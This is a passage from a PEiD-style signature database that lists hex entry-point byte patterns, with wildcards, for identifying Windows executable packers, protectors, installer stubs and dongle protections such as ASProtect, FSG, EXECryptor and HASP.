E8 01 ?? ?? ?? 90 5D 81 ED ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D -ep_only = true - -[ASProtect v1.1] -signature = 60 E9 ?? 04 ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? EE -ep_only = true - -[ASProtect v1.1 MTE] -signature = 60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9 -ep_only = true - -[ASProtect v1.1 MTEb] -signature = 90 60 E9 ?? 04 -ep_only = true - -[ASProtect v1.1 MTEc] -signature = 90 60 E8 1B ?? ?? ?? E9 FC -ep_only = true - -[ASProtect v1.1 BRS] -signature = 60 E9 ?? 05 -ep_only = true - -[ASProtect v1.2] -signature = 68 01 ?? ?? ?? C3 -ep_only = true - -[ASProtect v1.2x] -signature = 00 00 68 01 ?? ?? ?? C3 AA -ep_only = true - -[ASProtect v1.2x (New Strain)] -signature = 68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3 -ep_only = true - -[ASProtect v1.23 RC1] -signature = 68 01 ?? ?? 00 E8 01 00 00 00 C3 C3 -ep_only = true - -[ASPR Stripper v2.x unpacked] -signature = BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 9C FC BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AA 9D 61 C3 55 8B EC -ep_only = true - -[Blade Joiner v1.5] -signature = 55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85 -ep_only = true - -[BopCrypt v1.0] -signature = 60 BD ?? ?? ?? ?? E8 ?? ?? 00 00 -ep_only = true - -[CExe v1.0a] -signature = 55 8B EC 81 EC 0C 02 ?? ?? 56 BE 04 01 ?? ?? 8D 85 F8 FE FF FF 56 50 6A ?? FF 15 54 10 40 ?? 8A 8D F8 FE FF FF 33 D2 84 C9 8D 85 F8 FE FF FF 74 16 -ep_only = true - -[CD-Cops II] -signature = 53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D -ep_only = true - -[CodeCrypt v0.14b] -signature = E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F -ep_only = true - -[CodeCrypt v0.15b] -signature = E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F -ep_only = true - -[CodeCrypt v0.16b - v0.163b] -signature = E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F -ep_only = true - -[CodeCrypt v0.164] -signature = E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F EB 03 FF 1D 34 -ep_only = true - -[Code-Lock vx.x] -signature = 43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 -ep_only = true - -[CodeSafe v2.0] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 EC 10 53 56 57 E8 C4 01 00 -ep_only = true - -[CopyControl v3.03] -signature = CC 90 90 EB 0B 01 50 51 52 53 54 61 33 61 2D 35 CA D1 07 52 D1 A1 3C -ep_only = true - -[CreateInstall Stub vx.x] -signature = 55 8B EC 81 EC 20 02 00 00 53 56 57 6A 00 FF 15 18 61 40 00 68 00 70 40 00 89 45 08 FF 15 14 61 40 00 85 C0 74 27 6A 00 A1 00 20 40 00 50 FF 15 3C 61 40 00 8B F0 6A 06 56 FF 15 38 61 40 00 6A 03 56 FF 15 38 61 40 00 E9 36 03 00 00 68 02 7F 00 00 33 F6 56 BF 00 30 00 00 FF 15 20 61 40 00 50 FF 15 2C 61 40 00 6A 04 57 68 00 FF 01 00 56 FF 15 CC 60 40 00 6A 04 A3 CC 35 40 00 57 68 00 0F 01 00 56 FF 15 CC 60 40 00 68 00 01 00 00 BE B0 3F 40 00 56 A3 C4 30 40 00 FF 75 08 FF 15 10 61 40 00 -ep_only = true - -[Crunch/PE] -signature = 55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 -ep_only = true - -[Crunch/PE v1.0.x.x] -signature = 55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85 -ep_only = true - -[Crunch/PE v2.0.x.x] -signature = 55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 55 BB ?? ?? ?? ?? 03 DD 53 64 67 FF 36 ?? ?? 64 67 89 26 -ep_only = true - -[Crunch/PE v3.0.x.x] -signature = EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74 -ep_only = true - -[Crunch v4.0] -signature = EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2 -ep_only = true - -[CrypKey v5 - v6] -signature = E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06 -ep_only = true - -[CrypWrap vx.x] -signature = E8 B8 ?? ?? ?? E8 90 02 ?? ?? 83 F8 ?? 75 07 6A ?? E8 ?? ?? ?? ?? FF 15 49 8F 40 ?? A9 ?? ?? ?? 80 74 0E -ep_only = true - -[CICompress v1.0] -signature = 6A 04 68 00 10 00 00 FF 35 9C 14 40 00 6A 00 FF 15 38 10 40 00 A3 FC 10 40 00 97 BE 00 20 40 00 E8 71 00 00 00 3B 05 9C 14 40 00 75 61 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 68 94 10 40 00 FF 15 2C 10 40 00 A3 F8 10 40 00 6A 00 68 F4 10 40 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 35 F8 10 40 00 FF 15 34 10 40 00 FF 35 F8 10 40 00 FF 15 30 10 40 00 68 00 40 00 00 FF 35 9C 14 40 00 FF 35 FC 10 40 00 FF 15 3C 10 40 00 6A 00 FF 15 28 10 40 00 60 33 DB 33 C9 E8 7F 00 00 00 73 0A B1 08 E8 82 00 00 00 AA EB EF E8 6E 00 00 00 73 14 B1 04 E8 71 00 00 00 3C 00 74 EB 56 8B F7 2B F0 A4 5E EB D4 33 ED E8 51 00 00 00 72 10 B1 02 E8 54 00 00 00 3C 00 74 3B 8B E8 C1 C5 08 B1 08 E8 44 00 00 00 0B C5 50 33 ED E8 2E 00 00 00 72 0C B1 02 E8 31 00 00 00 8B E8 C1 C5 08 -ep_only = true - -[CipherWall Self-Extrator/Decryptor (GUI) v1.5] -signature = 90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 52 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 0E 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 -ep_only = true - -[CipherWall Self-Extrator/Decryptor (Console) v1.5] -signature = 90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 12 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 06 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 -ep_only = true - -[DAEMON Protect v0.6.7] -signature = 60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61 -ep_only = true - -[DEF v1.0] -signature = BE ?? 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 -ep_only = true - -[Ding Boy's PE-lock v0.07] -signature = 55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00 -ep_only = true - -[Ding Boy's PE-lock Phantasm v0.8] -signature = 55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00 -ep_only = true - -[Ding Boy's PE-lock Phantasm v1.0 / v1.1] -signature = 55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC -ep_only = true - -[Ding Boy's PE-lock Phantasm v1.5b3] -signature = 9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0 -ep_only = true - -[DBPE v1.53] -signature = 9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA -ep_only = true - -[DBPE v2.10] -signature = 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE -ep_only = true - -[DBPE v2.10] -signature = EB 20 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? EB 58 75 73 65 72 33 32 2E 64 6C 6C ?? 4D 65 73 73 61 67 65 42 6F 78 41 ?? 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C ?? 53 6C 65 65 70 ?? 47 65 74 54 69 63 6B 43 6F 75 6E 74 -ep_only = true - -[DBPE v2.33] -signature = EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 -ep_only = true - -[DBPE vx.xx] -signature = EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED -ep_only = true - -[DxPack 1.0] -signature = 60 E8 ?? ?? ?? ?? 5D 8B FD 81 ED ?? ?? ?? ?? 2B B9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 -ep_only = true - -[EP v1.0] -signature = 50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1 C0 30 ?? 68 ?? ?? F3 00 C3 AA -ep_only = true - -[EP v2.0] -signature = 6A ?? 60 E9 01 01 -ep_only = true - -[ExeBundle v3.0 (standard loader)] -signature = 00 00 00 00 60 BE 00 B0 42 00 8D BE 00 60 FD FF C7 87 B0 E4 02 00 31 3C 4B DF 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB -ep_only = true - -[ExeBundle v3.0 (small loader)] -signature = 00 00 00 00 60 BE 00 F0 40 00 8D BE 00 20 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 -ep_only = true - -[Exe Shield vx.x] -signature = 65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00 -ep_only = true - -[Exe Shield v1.7] -signature = EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 -ep_only = true - -[Exe Shield v2.7] -signature = EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00 -ep_only = true - -[Exe Shield v2.7b] -signature = EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40 00 03 9D E6 90 40 00 53 8B C3 8B FB 2D AC 90 40 00 89 85 AD 90 40 00 8D B5 AC 90 40 00 B9 40 04 00 00 F3 A5 8B FB C3 BD 00 00 00 00 8B F7 83 C6 54 81 C7 FF 10 00 00 56 57 57 56 FF 95 DA 90 40 00 8B C8 5E 5F 8B C1 C1 F9 02 F3 A5 03 C8 83 E1 03 F3 A4 EB 26 D0 12 5B 00 AC 12 5B 00 48 12 5B 00 00 00 40 00 00 D0 5A 00 00 10 5B 00 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 87 DB 8B 0E B5 E6 90 40 07 56 03 76 EE 0F 18 83 C6 14 12 35 97 80 8D BD 63 39 0D B9 06 86 02 07 F3 A5 6A 04 68 06 10 12 1B FF B5 51 29 EE 10 22 95 -ep_only = true - -[Exe Shield v2.9] -signature = 60 E8 00 00 00 00 5D 81 ED 0B 20 40 00 B9 EB 08 00 00 8D BD 53 20 40 00 8B F7 AC ?? ?? ?? F8 -ep_only = true - -[EXE Stealth v1.1] -signature = 60 E8 00 00 00 00 5D 81 ED FB 1D 40 00 B9 7B 09 00 00 8B F7 AC -ep_only = true - -[EXE Stealth v2.7] -signature = EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED D3 26 40 -ep_only = true - -[EXE Stealth v2.71] -signature = EB 00 60 EB 00 E8 00 00 00 00 5D 81 ED B0 27 40 -ep_only = true - -[EXE Stealth v2.72] -signature = EB 00 EB 2F 53 68 61 72 65 77 61 72 65 20 2D 20 -ep_only = true - -[EXE Stealth v2.74 -> WebToolMaster] -signature = EB 00 EB 17 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 60 90 E8 00 00 00 00 5D -ep_only = true - -[EXE32Pack v1.36] -signature = 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40 -ep_only = true - -[EXE32Pack v1.37] -signature = 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED 4C 8E 40 -ep_only = true - -[EXE32Pack v1.38] -signature = 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40 -ep_only = true - -[EXE32Pack v1.39] -signature = 3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40 -ep_only = true - -[EXE32Pack v1.3x] -signature = 3B ?? 74 02 81 83 55 3B ?? 74 02 81 ?? 53 3B ?? 74 01 ?? ?? ?? ?? ?? 02 81 ?? ?? E8 ?? ?? ?? ?? 3B 74 01 ?? 5D 8B D5 81 ED -ep_only = true - -[EXECryptor v1.3.0.45] -signature = E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 -ep_only = true - -[EXECryptor v1.3.0.45] -signature = E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 -ep_only = true - -[EXECryptor v1.4.0.1] -signature = E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 -ep_only = true - -[EXECryptor v1.5.1.x] -signature = E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 C1 ?? ?? ?? FE C3 31 C0 64 FF 30 64 89 20 CC C3 -ep_only = true - -[EXECryptor vx.x.x.x] -signature = E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 -ep_only = true - -[EXEJoiner v1.0] -signature = 68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8 -ep_only = true - -[ExeSmasher vx.x] -signature = 9C FE 03 ?? 60 BE ?? ?? 41 ?? 8D BE ?? 10 FF FF 57 83 CD FF EB 10 -ep_only = true - -[EZIP v1.0] -signature = E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C -ep_only = true - -[FSG v1.0] -signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B -ep_only = true - -[FSG v1.1] -signature = BB D0 01 40 ?? BF ?? 10 40 ?? BE ?? ?? ?? ?? FC B2 80 8A 06 46 88 07 47 02 D2 75 05 8A 16 -ep_only = true - -[FSG v1.2] -signature = 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00 -ep_only = true - -[FSG v1.3] -signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE -ep_only = true - -[FSG v1.31] -signature = BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 BB ?? ?? ?? ?? B2 80 A4 B6 80 FF D3 73 F9 33 C9 -ep_only = true - -[FSG v1.33] -signature = BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 -ep_only = true - -[Feokt] -signature = 89 25 A8 11 40 00 BF ?? ?? ?? 00 31 C0 B9 ?? ?? ?? 00 29 F9 FC F3 AA ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 BE ?? ?? 40 00 BF -ep_only = true - -[FixupPak v1.20] -signature = 55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8 AC 0F B6 C0 03 D8 29 13 E2 FA EB BC 8D 85 ?? ?? 00 00 5D FF E0 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = true - -[Gleam v1.00] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 EC 0C 53 56 57 E8 24 02 00 -ep_only = true - -[Guardant Stealth aka Novex Dongle] -signature = 55 8B EC 83 C4 F0 60 E8 51 FF FF FF -ep_only = true - -[Hasp dongle (Alladin)] -signature = 50 53 51 52 57 56 8B 75 1C 8B 3E ?? ?? ?? ?? ?? 8B 5D 08 8A FB ?? ?? 03 5D 10 8B 45 0C 8B 4D 14 8B 55 18 80 FF 32 -ep_only = true - -[Hasp 4 envelope dongle (Alladin)] -signature = 10 02 D0 51 0F 00 83 -ep_only = true - -[Hardlock dongle (Alladin)] -signature = 5C 5C 2E 5C 48 41 52 44 4C 4F 43 4B 2E 56 58 44 00 00 00 00 5C 5C 2E 5C 46 45 6E 74 65 44 65 76 -ep_only = true - -[Inno Setup Module] -signature = 49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 00 00 53 54 41 54 49 43 -ep_only = true - -[Inno Setup Module] -signature = 49 6E 6E 6F -ep_only = true - -[Inno Setup Module v1.09a] -signature = 55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 C4 89 45 C0 E8 A7 7F FF FF E8 FA 92 FF FF E8 F1 B3 FF FF 33 C0 -ep_only = true - -[Inno Setup Module v1.2.9] -signature = 55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0 -ep_only = true - -[Install Stub 32-bit] -signature = 55 8B EC 81 EC 14 ?? 00 00 53 56 57 6A 00 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 29 -ep_only = true - -[InstallShield 2000] -signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 C4 ?? 53 56 57 -ep_only = true - -[JDPack] -signature = 60 E8 ?? ?? ?? ?? 5D 8B D5 81 ED ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 81 EA 06 ?? ?? ?? 89 95 ?? ?? ?? ?? 83 BD 45 -ep_only = true - -[kryptor 3] -signature = EB 66 87 DB -ep_only = true - -[kryptor 5] -signature = E8 03 ?? ?? ?? E9 EB 6C 58 40 FF E0 -ep_only = true - -[kryptor 6] -signature = E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02 -ep_only = true - -[kryptor 8] -signature = EB 6A 87 DB -ep_only = true - -[kryptor 9] -signature = 60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9 -ep_only = true - -[Krypton v0.2] -signature = 8B 0C 24 E9 0A 7C 01 ?? AD 42 40 BD BE 9D 7A 04 -ep_only = true - -[Krypton v0.3] -signature = 8B 0C 24 E9 C0 8D 01 ?? C1 3A 6E CA 5D 7E 79 6D B3 64 5A 71 EA -ep_only = true - -[Krypton v0.4] -signature = 54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06 -ep_only = true - -[Krypton v0.5] -signature = 54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF -ep_only = true - -[KGCrypt vx.x] -signature = E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 64 A1 30 ?? ?? ?? 84 C0 74 ?? 64 A1 20 ?? ?? ?? 0B C0 74 -ep_only = true - -[LameCrypt v1.0] -signature = 60 66 9C BB ?? ?? ?? ?? 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 -ep_only = true - -[LTC v1.3] -signature = 54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 -ep_only = true - -[Lockless Intro Pack] -signature = 2C E8 ?? ?? ?? ?? 5D 8B C5 81 ED F6 73 ?? ?? 2B 85 ?? ?? ?? ?? 83 E8 06 89 85 -ep_only = true - -[LaunchAnywhere v4.0.0.1] -signature = 55 89 E5 53 83 EC 48 55 B8 FF FF FF FF 50 50 68 E0 3E 42 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 C0 69 44 00 E8 E4 80 FF FF 59 E8 4E 29 00 00 E8 C9 0D 00 00 85 C0 75 08 6A FF E8 6E 2B 00 00 59 E8 A8 2C 00 00 E8 23 2E 00 00 FF 15 4C C2 44 00 89 C3 EB 19 3C 22 75 14 89 C0 8D 40 00 43 8A 03 84 C0 74 04 3C 22 75 F5 3C 22 75 01 43 8A 03 84 C0 74 0B 3C 20 74 07 3C 09 75 D9 EB 01 43 8A 03 84 C0 